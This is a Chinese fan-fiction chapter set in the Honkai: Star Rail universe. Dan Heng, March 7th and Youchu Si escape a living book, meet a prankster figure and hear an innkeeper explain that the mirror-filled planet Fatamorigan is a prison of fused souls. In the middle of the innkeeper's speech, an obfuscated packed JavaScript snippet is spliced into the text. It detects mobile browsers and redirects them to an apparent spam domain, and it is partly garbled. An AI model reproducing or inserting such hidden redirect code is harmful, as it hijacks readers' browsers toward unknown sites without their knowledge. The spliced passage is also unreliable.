“那没有生育器官就能让女主怀孕的男主——”话还没说完,书本就已经猜到了有初四想问什么了,先一步回答:“架空世界观,很神奇吧?” 有初四:“我明白了,你在拖延时间。” 本来只是随口一说,毕竟突然的健谈和话唠实在太过可疑,但没想到书本还真因为他这句话而沉默了。 他睁大眼睛,手里又把木签捏出来,死死地盯着头上那片天空,“你不要和我说,丹恒和三月出什么意外了。” 书本暗骂这家伙真是该死的敏锐,看见那只拿着签的手隐隐冒着青筋,还是没撑过多久就又怂了。他也想直接把这人踢出去啊,可出口就在本体上,就是那个小姑娘抱着的,要是被发现还有一个同伴迟迟不出来,他恐怕死的不是很好看。 这位性格独特的奇物先生,还不想在被创造出来的短短半个琥珀纪就被粗暴的摧毁。 “没有没有!”书本生怕自己回答慢一秒这位祖宗又要开始毁天灭地了,“只是那个叫丹恒的,他不小心在我开幻灯片的时候被甩到我的底层代码里面了!” 此时的丹恒,看着周围的一圈文字陷入了沉思。 一个系统时前…… 丹恒是被一道尖锐的笑声吵醒的,还伴随着让人头疼欲裂的耳语。 他捂着头坐了起来,胀痛感像是要在脑袋里炸开。 好痛…… 仿佛无处不在的耳语穿过丹恒捂住耳朵的手直钻进脑海里。 “让我们在剧本里加一点点的对话,适量的狗血会成为很好的调味剂,创意是必不可少的——诶呀,不小心加多了,打斗情节能调起观众的兴奋,最好创造出一个宿敌,最后~好的剧本怎么能没有一个塑造好的主角呢?” “啊,不小心全都撒出来了!” “谁说主角就只能是塑造好的,只要有梦想,连一个npc都能成为主角!不论是谁都有机会!” 尖利的声音分辨不出性别,简直是要把他的脑子给捅破了。 突然,声音安静了下来,丹恒的头疼也渐渐缓解,才有余力观察周围,围绕着他的,是数不清的文字绸缎,其中一段发现了他的目光后还停滞了一瞬,随后害羞一般的缩成一团,蹿进了一片黑暗中。 丹恒:“……”说实话看着它们这么灵活的游走,有种莫名的恶寒感。 此时一段文字在他面前显现。 “居然偷看别人生孩子,真是冒昧的家伙!” 丹恒:? 然后他就□□脆利落地踢了出去,天旋地转之间,突然有什么东西拎住了他的后领,脚下还被无形的地板给托了起来,好让他不会被领口卡住脖子,丹恒手里悄然出现了一抹金色的光芒,他不动声色,知道自己这是触发了保护机制。 而书本小心翼翼地接住了人之后,又小心翼翼地准备把人和有初四一起送出去。 此时双方都非常的紧张,直到见到了有初四。 黑发蓝眼的青年正缩在透明箱子里,面无表情地把玩着手里的签,也不知道是不是书本忘了,装他的箱子只能让他一一个难受的姿势坐着,还对脖子非常的不友好,想要舒服点就只能蜷缩起来。 在看见一个熟悉的人影出现后,有初四手抖了一下,签子掉在了脚下,书本紧张地看着,生怕那支签出了什么差错,而有初四双手贴在透明的空气墙上,仰头看着被送过来高他一头的丹恒,笑着说:“丹恒,你这下看起来高多了。” 丹恒简直服了现在这种情况还能开他身高玩笑的有初四,无奈道:“我还在生长期。” 他目光一移,看到了有初四手上已经结疤的伤口,看形状像是咬出来的,“你的手怎么了?” “啊这个。”有初四毫不犹豫,“我自己咬的。” 11.他因何而哭泣? 被丢出来的感觉并不好受,有初四还是头朝下掉出来的,狠狠地磕在了地板上。 “……” “小四!”三月七惊呼一声把他扶起来,担忧地去看他的脑袋,出乎意料的,居然没事。 在她的认知里,小伙伴的脑袋备受欢迎,特指什么伤害都喜欢往上砸,而且通常都会见血。 三月七感叹地摸摸有初四的头:“小四,你的脑袋终于进化了吗?” 什么进化?头铁吗? 丹恒理着自己的衣领,看着有初四完好无损的脑袋若有所思。 有初四:“……别这么看着我的脑袋啊,又不是什么奇物。” 三月七和丹恒同时想起了有初四出场就用脑袋把列车顶戳个窟窿。 “那可真不一定……”粉发的少女自言自语。 互相交换了情报,在丹恒说到自己把假扮成三月七的人喉咙戳了个对穿后,三月七捂嘴:“一开始就下死手的吗?” “不,那个也是假的,根据那时候的情况来看,我的枪戳在他身上也造成不了什么伤害。” “造成不了伤害……什么意思?” “还记得被包围的时候吗?我们的攻击完全不起作用。”丹恒把目光转向看着书本出神的有初四,“那是初四下下签的效果。” 听到自己名字的有初四转头,“啊?” 丹恒和两人简单说明了一下下下签会带来的效果。 有初四和三月七同时倒吸一口凉气,三月七呆滞地扒拉了一下丹恒,问:“签是来法塔莫日甘之前抽的,现在时间已经过去24系统时了。” 她突然恢复了点精神:“也就是说,就算有副作用,现在也消失了,只要小四在刷新之后没有再抽签,咱就不会被影响!” “……”有初四想起刚才书里搞出来的大阵仗,沉默不语。 三月七的笑容逐渐消失,“你没有抽签,对吧?” 有初四瞄了一眼自己的面板,往下拉有一个debuff。 【负面】队伍全员伤害减少90%。 “百分之九十啊!!”三月七握住有初四的肩膀疯狂摇晃。 想想看吧,这个危机四伏的星球,刚刚还从书本里险险逃生,在外面迎接他们的还不知道是怎样的危险,这种情况全员伤害减少90%,这让她怎么励志啊?! “队伍里,那只要,不在队伍里,就行了——”有初四勉强在狂风暴雨中扣出文字漏洞。 那么问题来了,这个队伍该怎么退出呢? 三月七慢慢冷静下来,她双手叉腰无奈道:“别理所当然的把游戏里的东西带出来啊,现实可没有编队。” 有初四委屈地瘪嘴。 “关于书里的故事,我大概知道是怎么回事了。”不动声色收集了许多情报的丹恒开始整合,观看结局时前面的一大段空白被三月七填补,由此可以推测出一个不完整的故事。 “首先可以肯定的是,我们的记忆受到了干扰或者修改。” 这颗星球,不,应该说是这个国家中,记忆命途的含量过高,耳边时不时会响起的碎裂声往往是关键。 还有埃洛克死后新上任的教主和敌国的涅因智库中都没有任何记载,许多信息和他来到这里后掌握的情报相反。 “埃洛克在好友死后掀起反叛,教主被引爆大部分地区,但埃洛克却活了下来,并当上了新的教主,但他又接触到了镜子。” 镜子里影响埃洛克精神状态的人影到底是谁还有待商榷,但埃洛克的死因过于诡异,根本就和意外扯不上关系,更像是被设计好的死法。 “突然兴起的镜子装饰和大规模传染的病症,整个国家都和镜子息息相关,很有可能刚开始使用它的人根本就没死。” 在加上他误入的空间的所见所闻,靠谱的智库管理员梳理了所有信息,并得出了一个结论:“故事不完整,而且不单是记忆,欢愉也有所参与。” “欢愉?” 按照智库上的描述,有初四觉得这本书绝对有欢愉,恶趣味几乎要溢出来了。 “我们出去再说吧。”丹恒看着桌子上开始颤抖的书本,“它已经在赶人了。” 三人一起走出了房间,而两人没注意到的是,走在最后面的有初四回头,又看了一下还存在裂痕的书本,蓝眼睛眨了眨,做了一个决定。 纯黑色的空间中,白色的雾气弥漫,一扇金灿灿的门格外显眼。 有初四评价:“看起来像陷阱。” 三月七、丹恒:不用像,这明晃晃的就是陷阱吧…… 不管是不是陷阱,也只有这一个出口了,走进后,突然一道金色的人影显现,丹恒立刻挡在最前面,左手拦在有初四和三月七的身前,右手唤出击云警戒。 “别紧张。” 仿若天边传来的声音在三人耳边响起。 “年轻的无名客们哟,你们掉的,是这个粉色钥匙,还是这个青色的钥匙,亦或者是,这个马赛克——噗!” 还没说完的话被砸过来的木签给予重击,丹恒和三月七都没反应过来,愣愣地看向还保持着投掷姿势的有初四。 有初四:完了,身体自己就动起来了。 ——话说你是有实体的啊?! 场面一度变得非常尴尬,金色人影从地上爬起来,拔出了头上的木签,血呲地一下就冒出来了,流了一脸血的金色人影竖起一个大拇指:“强而有力,强而有力啊!” 装什么,当我面板上的伤害减少百分之九十是摆着好看的? 有初四面无表情地收回姿势,当做无事发生。 而人影并不觉得有什么问题,顶着脑袋上还在流血的窟窿重新拿出三把钥匙,“你们掉的,是哪把钥匙呢?” “……”别因为你速度快我就没看到,你把我木签收起来了吧,是什么有收集癖的变态吗? 想到这里,有初四打了个哆嗦,一下子就缩到了三月七的身后,恨不得整个人都被三月七给挡起来,过了一会儿又悄悄地攀上同伴的肩膀探头,看着人影的眼神像是在估量着什么。 丹恒面不改色地往旁边挪了一步,牢牢把探头探脑的有初四挡住了。 “为什么会有一把马赛克啊……”三月七小声说着,本来只是自言自语,没想到下一秒,那个金色人影就突到了她脸上,把三月七吓的够呛。 “因为这把钥匙代表了某位无名客的过——噗!!” 这位不知名先生为他的恶作剧付出了代价,脑袋上新鲜出炉的冰箭和木签,外加抽到他脸上的长枪。 “咳咳,现在的年轻人,真不经吓。”被抽飞的人影鼻青脸肿地从地上爬了起来,摘下头上的箭和木签,装模作样地顶着脑门上的两个血窟窿,把箭收了起来,看向了一脸警惕的有初四。 有初四看着人影对他露出一个能让人起鸡皮疙瘩的笑容。 他说:“这次就帮你们把门打开吧。”随后把手上的木签抵在唇边,朝三人挥挥手,“谢谢你的酬劳,期待下次再见~” 金色消散,人影已经不见了。 被他临走时着重恶心到的有初四抱住自己狠狠地搓了双臂,神情呆滞:“我,我不干净了……” “唉。”三月七怜爱地虎摸一把有初四的狗头,刚想安慰,又想起来自己的箭也被拿走了,身体僵了一下,欲哭无泪地看向还在看着人影离去方向,在思索些什么的丹恒。 丹恒被两双眼睛可怜兮兮地盯着,无奈地叹了口气。 …… 眼前是熟悉的小巷,但和上次不同的是,追兵已经消失了,他们运气不错,没赶上阴晴不定的时雨时晴,也没遇上寒冷刺骨的夜晚,现在正是太阳照射的白天。 “是我们跟着尼斯去到角落之前的地方!” 三月七刚说完,角落里就钻出来一颗脑袋,正是尼斯,他盯着三人,一脸的不可置信,随后消失在阴影中。 这个反应,就像是知道他们经历了什么,对他们还能好好站在这里感到震惊一样。 丹恒率先冲上去:“追!” 四面八方闪烁着光芒的镜子划过几道人影,忠实地记录着他们的轨迹。 追了很久也没能追上,速度最快冲在前面的有初四突然说:“我想起来了。” “什么?” “我觉得埃洛克和古呐斯的脸很熟悉的原因。”就在刚刚,他想起了有过一面之缘的尼斯的脸,那双眼睛和埃洛克一样,而遮住眼睛,组合其他五官看起来就完全是古呐斯! “是他?”从两人口中得知古呐斯是谁的丹恒疑惑,听有初四的描述,像是把两个人的脸拼在了一起? “噫!有点吓人。”三月七有点起鸡皮疙瘩了。 “或许不是拼接,而是……融合。”丹恒回想尼斯那张脸,埃洛克和古呐斯,两个人的五官都长在了同一张脸上,旅馆的老板短时间内变换那么快,恐怕也是一具身体里塞着几个人。 被追赶的尼斯脚步不乱,前进更带着点明显的目的性。 丹恒:“他刻意引导我们去哪里!”虽然为了不让他们追上而选择弯弯绕绕的岔路,可行动的方向始终都没有变过。 “没办法,他比我们要熟悉这里。”还没来得及探索就遇上了抓捕的开拓者们,简直就是人生地不熟。 “说起来!”三月七奋力追赶着,百思不得其解地看着最前面脚步轻盈的身影,“为什么小四你突然跑得那么快啊?” 呼吸丝毫不乱,和第一次逃跑截然不同的两种状态的有初四回头,冷静地竖起一个大拇指:“无他,惟手熟尔。” 这是哪门子惟手熟尔啊,不仅速度一骑绝尘了体力也变好了,难道说进过一回书里就获得了什么神奇的力量吗? 三月七看了一眼和往常一样的丹恒,没看出什么不一样来,只好先把疑问压在心里。 终点是一栋房子,门是锁上的,整栋房子贴满了细碎的镜子碎片,在阳光的照射下把三人的眼睛都晃了一下。 “怎么办,要暴力破门吗?”三月七揉揉眼睛,“话说我们这是不是私闯民宅啊?这样不太好吧。” 话是这么说,但脸上的跃跃欲试藏都藏不住。 “我来吧。”有初四舔舔唇,上前弯下腰观察,然后比了个没问题的手势,“这种锁并不算高级,可以开。” 丹恒:“……你为什么这么熟练?” “说不定我以前就是干这行的。”有初四开了个玩笑,手上捣鼓几下,门就开了,小小地开了一条缝隙,是黑的,看起来里面没开灯。 三月七目瞪口呆:“道理我都懂,可是你是怎么做到徒手开锁的,甚至都不用工具!不应该像一些电影里一样,用发卡和铁丝之类的吗?!” 有初四停顿了一下,若无其事地站直,拍拍手说:“无他,惟手熟尔。” 三月七:“这个理由你已经用过了,敷衍好歹换一个吧! 青年无辜摊手,“可是我手的动作那么熟练,不就是已经用过很多次了,这个词用在这里没什么不对吧?虽然我自己也不知道什么时候学会的这门技术。” 三月七:“……”小四他以前真的会是什么合法公民吗? “按理说,现在是白天,就算是没开灯也不会黑到这种地步。”虚掩的门又打开了些,里面仍是一片黑暗,丹恒走在了最前面,进到了房子里。 出乎意料的是,从外面所见的黑暗似乎只是一层黑色的膜,房间里的光线很足,布置也很温馨,没有一点诡异的感觉。 【咔嚓——】 在三人进门后的那一刻,镜子碎裂的声音响起,有初四回头去看,却发现门消失了,原本的位置变成了墙壁。 这是个布置简单的屋子,就只有两个书架和一套桌椅,丹恒上前抽出一本书,看封面就是之前他在旅馆翻看的那本。 “这本书讲的是主角意外掉进镜子,镜中的世界和现实世界完全相反,被发现不是镜子里的人后被追杀,然后历尽千辛万苦最后在出口处被杀死了的故事。” 好,好强大的解读能力! “……只是在智库中有记载这本书,因为翻译太像直译了,所以印象比较深刻。” 而且这本书的桥段好耳熟,除了最后的结局,这不就是丹恒转述给他们的尼斯的说辞吗? “原来灵感是从这来的啊……” 而且是连演都不演了之间照抄。 “这本书我看过,所以尼斯说的话我一个字都没信。” 此时身后传来动静,有初四迅速转身,背后却什么都没有,他一惊,不好! 再转头的时候,有初四气地握紧了手里的签,他是走在最后面进来的,可房间里除了他,丹恒和三月七都消失不见了。 “啧,又来这招么。” 幕后的人似乎格外喜欢把他们分开,这是算准了让三人都不敢轻举妄动吗? 这个房间中除了书架和桌椅外,在有初四身侧出现了两扇门,左边那扇门上写着“我是真的出口”,右边那扇门上写着“那扇门说得对”。 其实这种选择题平常有初四一下就能给出答案,可这次…… 他皱眉,这两扇门都一样,不存在真假。 “你说的是真的吗?”有初四决定先尊重一下出题人,去问了左边的门。 “我当然是真的!”那扇门大声回答。 有初四看了它好一会儿,然后点头:“好,我相信你。”说完就毫不犹豫地扭开门把手走了进去。 门:?等等,你不按套路出牌!不应该再问另一扇门问题吗?!别在这种很可能会有陷阱的地方轻易交付信任啊! 门震惊,门恨铁不成钢。 而有初四想的很简单,既然两扇门都一样,随便挑一个就好了,这,就是百战百胜的直觉给他的自信! 百战百胜,指的就是窝在列车上的时候,他靠着一手纸牌抓乌龟赢了所有人,连帕姆都没放过,三月七当时还郑重其事地对最后一名挑战者丹恒说:“在你眼前的,是从无败绩的抓乌龟之王,有初四!” 而最后的结果,自然是丹恒放弃了挣扎,在被逼入死路后选择了认输,其实大家都没想通平时总是抽出下下签的有初四为什么运气还挺好,但也没人细究。 “请胜者发表获奖感言!”三月七把不存在的王冠戴在了有初四的头上,有初四调整了一下皇帝的领带,站在了列车大厅的中央,他清了清嗓子:“我赢了!” 他侧耳倾听,等待欢呼声。 众人也配合地鼓掌,有初四满意地走下奖台,摘下王冠用袖子擦了擦,然后把它戴到了丹恒的头上,“挑战者勇气可嘉,理应受到奖赏!” 于是列车上的所有人,都戴了一把皇帝的王冠,至于帕姆,列车长是从来不会摘下帽子的!所以王冠是放在了帽子上。 丹恒对此评价道,这样一低头不就会掉下来了? 三月七叉腰:列车长的帽子是从不会掉下来的,所以上面的王冠也一样! 这场幼稚的颁奖典礼就此结束,连带着有初四的回忆一起。 在最初打开门的一瞬间,被突然炸开的白光晃了眼睛的有初四眯眼用手遮挡了一下,把手挪开时,入目的是繁华的街道。 碎裂镜片的装饰品,极具风格的建筑物,还有脚下闪着细碎镜片的光,这无疑是他们第一次踏上法塔莫日甘所见到的景象! “来来来,我们合个影!”一片粉色悄然出现,轻巧地拉起还在观察周边的有初四的手臂,“丹恒也来嘛!” 触感和声音是如此真实,但为什么,会觉得有点陌生? “来,茄子!” “咔嚓——” 快门声响起的那一刻,有初四捂住了自己的额头,突然觉得有点晕,他皱着眉头,脑子里突然出现许多杂音,让他几乎头疼欲裂。 “初四!” “唉!小四你怎么了?” 耳边的嗡鸣声过后,是同伴关心的话语,和温柔地扶住他的动作。 “不会是晕跃迁吧?可这都过去那么久了。” “我只是……”只是觉得头好痒,好像要长脑子了。 这个玩笑显然不适合在这个时候开,有初四喘了几口粗气,渐渐安静了下来。 虽然他相信自己的直觉,但以防万一还是问了个问题。 “三月,你知道你放在冰箱里的布丁其实是我吃的吗?” 三月七听到这句话愣了一下,“你在说什么啊,布丁拿到手我就吃了,怎么会放冰箱。” 有初四也愣住了,“那我吃的布丁是?” 在旁边抱着胳膊的丹恒凉凉道:“是我的,因为当时急着去智库查资料,就放在冰箱里了,原来是你吃了。” 有初四表情僵硬,他缓缓捂住脸,朝丹恒忏悔道:“对不起……” “你……”丹恒叹了口气,“想吃说一下就是了。” 是真的,这个熟悉的反应,绝对是真的。 确认了情况后就好办了,有初四立刻就想把发生过的所有事情说出来,很难说没有转移话题的嫌疑,但是丹恒拦住了他。 黑发青年的余光看到四周或忙碌或交谈的人不知何时都停下了,直勾勾地朝他们看来,眼里是一种诡异的狂热和期待。 三月七跟着转头,然后就被吓了一跳:“什么呀,怪渗人的……” 被发现后他们也没有任何收敛,眼神死死地盯着明显不是第一次踏上这片土地的有初四。 “这里不适合说话,我们找个安全的地方。”丹恒不动声色,他发现这些人的动作虽然诡异,但不仅没有任何要攻击的意图,相反所投射过来的眼神,仿佛像是在看什么救世主。 有初四第一时间就想起了旅馆老板,于是三人就在这一整条街道的所有人注视中,警惕而又快速地离开了。 鞋子踩踏在参杂了碎片的地板上发出声响,注视着他们的人原地不动转动着脑袋,似乎要看着他们一直跑下去,但此时晴朗的天气忽然乌云密布,像是提线木偶般的人们忽然被惊醒,在雷落下之时脸上不由自主地露出了恐惧的神色,连忙四散奔逃躲回了房子里。 而奔跑中的三人被突如其来的雨淋了个透心凉。 有初四:“……”他狠狠抹了把脸,觉得这个场景熟悉地可怕。 雨来的又急又猛,很难不让人觉得没有问题,上一秒还在倾盆大雨下一秒又转瞬即逝变成了晴空万里。 好在他们在下一次天变脸之前到达了目的地,旅馆的大门缓缓打开,而站在正中间的旅馆老板依旧面带和上次见面时角度分毫不差的微笑,早已等候多时。 “老板,这到底是怎么回事?”有初四一见到人就是非常直白又毫不客气地问话,他感觉这位旅馆老板知道些什么,与其被动不如主动出击。 老板保持着笑容看了他一会儿,突然说道:“你记得?” 这句话很诡异,在空荡荡的旅馆内回响,地上细碎的镜片星星点点,里面映着许多个老板,就像这话是由不同的人不同的声音同时说出来一样。 有初四鸡皮疙瘩都起来了,又往三月七的身后躲了躲,丹恒挡在他们最前面,时刻准备召唤武器。 老板最终还是没有做什么,只是盯着有初四看了好一会儿,突然说:“法塔莫日甘现在就是一个人的集合体。” 一个人……的? “我,是我们,被囚禁起来的灵魂融在一起,不必要的负面情绪会被打包当做消耗品甚至是喂养某些存在的食物可以随意放弃,我们一直在找他们,但是遍寻不得,他们跑的太快了。” 等等,就这么说出来了?! 【咔嚓——】 碎裂的声音在四周响起,又无声被镜片中的每个人困住,它急切地想要出现,想冲破这个牢笼。 不许说! 然而一个人的意志怎么能抵的过庞大的集体?有可能被拯救的希望死死压过所有恐惧,他们等待了太久也害怕了太久,害怕被抛弃成为养料的一部分,永世不得超生,他们是胆小鬼,不像士兵那样不懈的寻找他们的踪迹,就算长久以来都一无所获,就算是会不小心触怒会他们彻底失去希望,但现在不一样了。 这个人,他记得。 告诉他,告诉他!他记得,他记得! 所有人满怀激动一拥而上,它被压得死死的,再也不能发出任何动静。 老板无视了那些微小的动静,面无表情坦白:“我们希望脱离这个牢笼,也受够了只能有正面情绪不能说谎的日子,为此我们不惜赌上一切,在他们的耳目中请求你们——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518866|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他虽说着“你们”,但看的却是有初四。 “我们请求你们,解决这一切吧。” 老板的请求自然是被答应了,开拓者不会对这类事坐视不理,只是有初四在思考了一段时间后,突然问道:“负面情绪都会被当做消耗品,那你工作的时候也是吗?” “……” 毫无预兆地,老板脸上两行泪流了下来,有初四在这一瞬间仿佛见到了那天晚上,他出门撞见的那个老板。 “你就非得提工作吗?”老板面无表情,但是语气里浓浓的怨气和脸上的眼泪说明了一切,但很快,像是被一只无形的手擦去了一样,老板再次变得平静。 他们这是第一次直面负面情绪是怎么被打包打走的。 只要有工作那怨气就会源源不断,每次都被强迫夺走负面情绪,难以想象老板会是什么感受,怪不得他们恨不得干掉主导者呢。 老板的微笑还没展开一半,他又说:“而且没有工资。”说着他又流下两行清泪,然后又再次变成面无表情。 那很惨了。 “……辛苦了。”虽然还是不明所以的三月七也觉得老板着实可怜,她真心道。 老板这会是成功的笑了,只是笑容中怎么看都有些苦涩,他弯了弯眼睛:“不辛苦,命苦。” 他看了一眼窗外的暴雨,对三人说道:“那位好说话的人不在,可以等这位消停了直接去找他。” 外面的雨似乎下的更大了,雷电仿佛要撕裂天空,寒冷如约而至,似乎要透过缝隙撕扯他们的皮肤,却因这座旅馆被法塔莫日甘的绝大多数记忆严防死守而毫无办法,只好无能狂怒地在附近肆虐了一番,在“他们”即将抓过来时转身离去。 老板无所畏惧,他早就受够了没有工资还要24系统时工作的日子,要是那位要把他直接捏死也算是一种解脱。 他给三人安排了一间没有镜子的房间,所有的镜子都是他,他们的耳目,就算再怎么恨他们也是一体的,很多事情不想听也不想看,但由不得自己。 …… “你的意思是,我们已经在法塔莫日甘待了好几天了,还经历了奇幻书本的冒险,我还是执笔者?!” 三月七概括了有初四所说的事,表情复杂地挠挠头,“可在我的记忆里,我们才刚刚来到法塔莫日甘啊。”她抬脚踩了几下地板。 “连地板都没踩热呢!” “踩热了才奇怪吧。” 三月七叉腰看向丹恒,“只是把常说的凳子替换掉啦!” 有初四看着这一幕,内心终于平静了下来。 “三月,其实我知道你的力量打不出伤害是怎么回事。” “啊?”三月七迷茫,“我的力量,没有伤害?哦——”三月七恍然大悟,“列车上被石头围攻那次!” “不是石头的原因,问题出在我们自己身上?”丹恒接话,随后又问有初四,“是怎么回事?” “因为我的下下签。”有初四说明了一下下下签的副作用,丹恒听后扶额,“我就知道没那么简单。” 三月七整个人都变空白了,她呆呆的问:“伤害降多少?” “百分之九十。” “什么百分之九十?” “是伤害……” “伤害降多少?” 丹恒看不下去了:“给我接受现实啊!” “好吧,其实没什么大不了的!”三月七挠头,“对本姑娘来说这点副作用算不上什么,很多事情不一定非要靠打架来解决的!” 有初四也知道自己的下下签debuff会给通关提高了多少难度,必须得想想办法! “总之先找一下时光机……”回到下车前的时间! “该接受现实的是你啊!” 一番鸡飞狗跳之后,三个人头挨头凑在一起密谋,“那我们现在该怎么破局?” “照初四所说,我大概知道是怎么回事了,如果埃洛克,前教主已经融合在了一起,经常切换的天气就可以看作他们的主导者,但是天气有三种,那就还有一个人。”丹恒沉思,“而且旅馆老板的情况也和融合类似,我有一个猜想,已经毁灭的法塔莫日甘,那些国民真的已经完全死去了吗?” 有没有一种可能,那些死去的人也全都被融合在了一起,否则重建的法塔莫日甘,是怎么做到突然多出来那么多本地人的? “我们的记忆被动了手脚,在初四所说的真正来到法塔莫日甘之前的时候。” 甚至在列车上就被影响到了吗? “而且老板的话有一处问题,某种存在的食物?那我和三月的记忆是不是就和他们一样,被什么东西吞吃了呢?” 三月七起了一身的鸡皮疙瘩,就好像是有什么存在把他们放嘴里过了一遍吃掉了他们的记忆,而他们对此完全不知情。 “初四说我们只是进了一栋房子后一转头的功夫就失散了,他也只是打开了一扇门才来到了这里,流程应该没有什么不同,而且他会觉得头疼,是那个不知名存在已经对初四下手了,但是没成功?” 而且就算是没有实体也没有形态,初四也应当能察觉到的,他在感知这方面格外敏锐。 除非是,无处不在。 “而法塔莫日甘上无处不在的地方,是镜子。” 三月七好奇:“小四为什么能保留记忆呢?” “旅馆老板他们的诉求是被解放,那尼斯呢?他们到底想要得到什么。” 【我想要得到的,当然是属于自己的王国。】 黑暗之中,尼斯站在镜子前,和里面的自己对话。 【那么多年的心血付之一炬,我怎么甘心!重来一次,只要重来一次就好了!】 “……闭嘴吧你,明明都已经快碎了。” 【他们的记忆质量都很高,只要把他们变成我们的一员,一定能让法塔莫日甘再次伟大!】 “我不吃大饼。” 这时镜子中另一个他冒出来了,直接把最开始的那个给挤开了,并笑着说:【我吃两个。】 “所以这就是你们联合起来压制我的原因?” 【你知道的,我必须得到他们的支持】 “献出生命的支持吗,敢对他们动手你是这个。”尼斯比出一个大拇指。 那个叫丹恒的青年暂且不提,能让书本抓去写故事的小姑娘那股寒意也不平凡,更何况是叫有初四的那个人,简直就是个不稳定的定时炸弹,被关了一会儿就要把这里全碎了,谁敢保证只是靠近他有初四就不会敏感肌直接放大招把他们都给超度了? 【你只管答应我,我自有办法。】 镜中人的脸上是如何的自信啊,尼斯打量了他一下,觉得这人虽然和他一个样,但是看起来比他没厉害多少,说不定自己就能把他干掉压下去然后当老大,似乎旁边的那个他也能打的过…… 尼斯恍然大悟,自己好像才是老大! 镜子里你挤我我挤你的两个人一下子僵住了,更早来的那个转头就对着后来者说:【看吧,我就说不能逼太紧,这家伙要前浪拍死后浪了。】 瞬间镇压了两人的尼斯并不知道发生了什么,只是坐在最核心空间的小位置上,看着桌上正在缓慢旋转的璀璨球体发呆,他思考了很久,似乎想通了自己为什么突然能力压两人直接翻身做主,眼神莫名黯淡了一瞬,他垂下眼独自坐着,似乎在享受着最后一刻的安静,而这份难得的安静,是他自己争来的,也是他唯一一次反抗成功。 …… 房间里的几人正在思索到底要怎么解决问题,问题的源头特别善于逃跑,追了那么久的本地人都毫无办法,而他们又该怎么找到他? 这时房门被敲了敲,老板的声音从门外响起:“你们可以出发了。” 丹恒意识到了什么,上前两步推开了窗户,阳光从云层中探出,柔和的风吹过,带走那股连绵不绝的寒冷和潮湿。 天晴了。 …… 当三人踏出旅馆的时候,尼斯正在思考着一些很重要的事情,外来者自称是无名客,不会坐视不理,这听起来像是中立善良阵营,那在对他们进行了威胁,恐吓,欺骗,关押甚至试图消灭这种及其不做人的行为后,这些中立善良的无名客们还愿意帮助他们吗? 尼斯已经开始汗流浃背了。 他开始疯狂在记忆中翻找些有用的信息作为馈赠,却在翻到自己的那份记忆后愣了一下。 在层层叠叠的碎片中,最中心唯一一片没有被污染的净地,那是一张格外陌生的面孔,确熟悉得像是以前日日都见过。 ……埃洛克? 那是最初的载体复生后,唯一一枚嵌在心里的碎片。 居然没有被记忆污染吗? 他们都知道镜子具有传染性,但是有了明显被剪掉的一片空白后,那片镜子反而干净了,他这才知道镜子本来的样子到底是什么样的,如那三个无名客刚踏上这里时所揭穿他的话,镜子里的所有已经暴露了一切。 尼斯的手贴了过去,仔细凝望镜中的自己,深蓝色的眼眸中映出了一张脸。 这就是他的真实。 …… 虽然说要去找造成法塔莫日甘现在这幅样子的罪魁祸首,但是在周围人蕴含着及其沉重的期待的目光下,三月七颇有压力,像是察觉到了被注视者的不自在,来来往往的人都避开了他们,自觉地离去。 阳光在为他们引路,到了一处无人的小巷时,便悄然散开。 丹恒不完全相信旅馆老板的一面之词,仍对尼斯抱有警惕。 有初四低头看了看脚下难得没有镜子的地板,笑了一下:“不会又要掉下去吧?” 话音刚落,下一秒有初四的脚底下就出现一个黑洞,他的笑容僵住了,在即将落下去的那一刻一只手伸过来过来抓住了他的手臂。 “怎么可能让你得逞第二次。”丹恒的脸色非常难看,同伴被无声无息地带走自己却毫不知情这种事情,有一次就够了! “下面有东西在拉小四!”三月七奋力地拉着有初四另一只手,纹丝不动,反而越来越往下,被上下拉扯的当事人提议,“要不然还是松手吧,会被一起拉下去的。” 三月七和丹恒异口同声:“那就一起被拉下去!”